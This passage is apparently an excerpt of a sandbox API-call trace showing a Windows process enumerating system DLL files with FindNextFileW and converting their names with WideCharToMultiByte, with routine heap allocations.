ftCreationTime.dwLowDateTime=0xe2f573ca, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe2f573ca, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dbea0b0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="adprovider.dll", cAlternateFileName="")) returned 1 [0223.411] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADPROVIDER.DLL", cchWideChar=14, lpMultiByteStr=0xf6c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 14 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.412] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b68a4f3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8b68a4f3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8b68a4f3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2da00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="adsldp.dll", cAlternateFileName="")) returned 1 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDP.DLL", cchWideChar=10, lpMultiByteStr=0xf6c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDP.DLL", lpUsedDefaultChar=0x0) returned 10 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.412] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9f1b122, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf9f1b122, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31800, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="adsldpc.dll", cAlternateFileName="")) returned 1 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSLDPC.DLL", cchWideChar=11, lpMultiByteStr=0xf6c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSLDPC.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.412] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.412] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf66b897d, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xf66b897d, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dccd180, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12e00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="adsmsext.dll", cAlternateFileName="")) returned 1 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.412] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.412] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSMSEXT.DLL", cchWideChar=12, lpMultiByteStr=0xf6c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSMSEXT.DLL", lpUsedDefaultChar=0x0) returned 12 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.413] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfad634c2, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xfad634c2, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7dcf4280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3fa00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="adsnt.dll", cAlternateFileName="")) returned 1 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADSNT.DLL", cchWideChar=9, lpMultiByteStr=0xf6c288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADSNT.DLL", lpUsedDefaultChar=0x0) returned 9 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.413] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fc81ff4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2fc81ff4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf1def050, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa6200, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="adtschema.dll", cAlternateFileName="")) returned 1 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADTSCHEMA.DLL", cchWideChar=13, lpMultiByteStr=0xf6c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADTSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 13 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.413] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0c6f80, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9b0c6f80, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9b0ed0e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9c600, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="advapi32.dll", cAlternateFileName="")) returned 1 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.413] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVAPI32.DLL", cchWideChar=12, lpMultiByteStr=0xf6c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVAPI32.DLL", lpUsedDefaultChar=0x0) returned 12 [0223.413] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.413] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.413] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0777c0d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xa0777c0d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7de49f40, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ee00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="advpack.dll", cAlternateFileName="")) returned 1 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ADVPACK.DLL", cchWideChar=11, lpMultiByteStr=0xf6c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ADVPACK.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.414] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e862c71, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x5e862c71, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x7de71040, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="aecache.dll", cAlternateFileName="")) returned 1 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AECACHE.DLL", cchWideChar=11, lpMultiByteStr=0xf6c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AECACHE.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.414] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x79c6f412, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x79c6f412, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0xf1f20320, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x5a00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="aeevts.dll", cAlternateFileName="")) returned 1 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AEEVTS.DLL", cchWideChar=10, lpMultiByteStr=0xf6c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AEEVTS.DLL", lpUsedDefaultChar=0x0) returned 10 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.414] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.414] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2994413f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x2994413f, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e0609f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="AltTab.dll", cAlternateFileName="")) returned 1 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0223.414] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.414] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALTTAB.DLL", cchWideChar=10, lpMultiByteStr=0xf6c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALTTAB.DLL", lpUsedDefaultChar=0x0) returned 10 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.415] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a29ac8e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a29ac8e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a29ac8e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="amstream.dll", cAlternateFileName="")) returned 1 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMSTREAM.DLL", cchWideChar=12, lpMultiByteStr=0xf6c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMSTREAM.DLL", lpUsedDefaultChar=0x0) returned 12 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.415] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76fcd8be, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x76fcd8be, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e0853e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5e00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="amxread.dll", cAlternateFileName="")) returned 1 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AMXREAD.DLL", cchWideChar=11, lpMultiByteStr=0xf6c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AMXREAD.DLL", lpUsedDefaultChar=0x0) returned 11 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c288) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6c120) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e950) returned 1 [0223.415] RtlFreeHeap (HeapHandle=0xf60000, Flags=0x0, BaseAddress=0xf6e8c8) returned 1 [0223.415] FindNextFileW (in: hFindFile=0x99fd50, lpFindFileData=0x171f664 | out: lpFindFileData=0x171f664*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd41bceeb, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xd41bceeb, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e4d7330, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1a8c00, dwReserved0=0x997e30, dwReserved1=0x0, cFileName="apds.dll", cAlternateFileName="")) returned 1 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e8c8 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x80) returned 0xf6e950 [0223.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c120 [0223.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APDS.DLL", cchWideChar=8, lpMultiByteStr=0xf6c120, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APDS.DLL", lpUsedDefaultChar=0x0) returned 8 [0223.415] RtlAllocateHeap (HeapHandle=0xf60000, Flags=0x8, Size=0x40) returned 0xf6c288 [0223.415] RtlFreeHeap 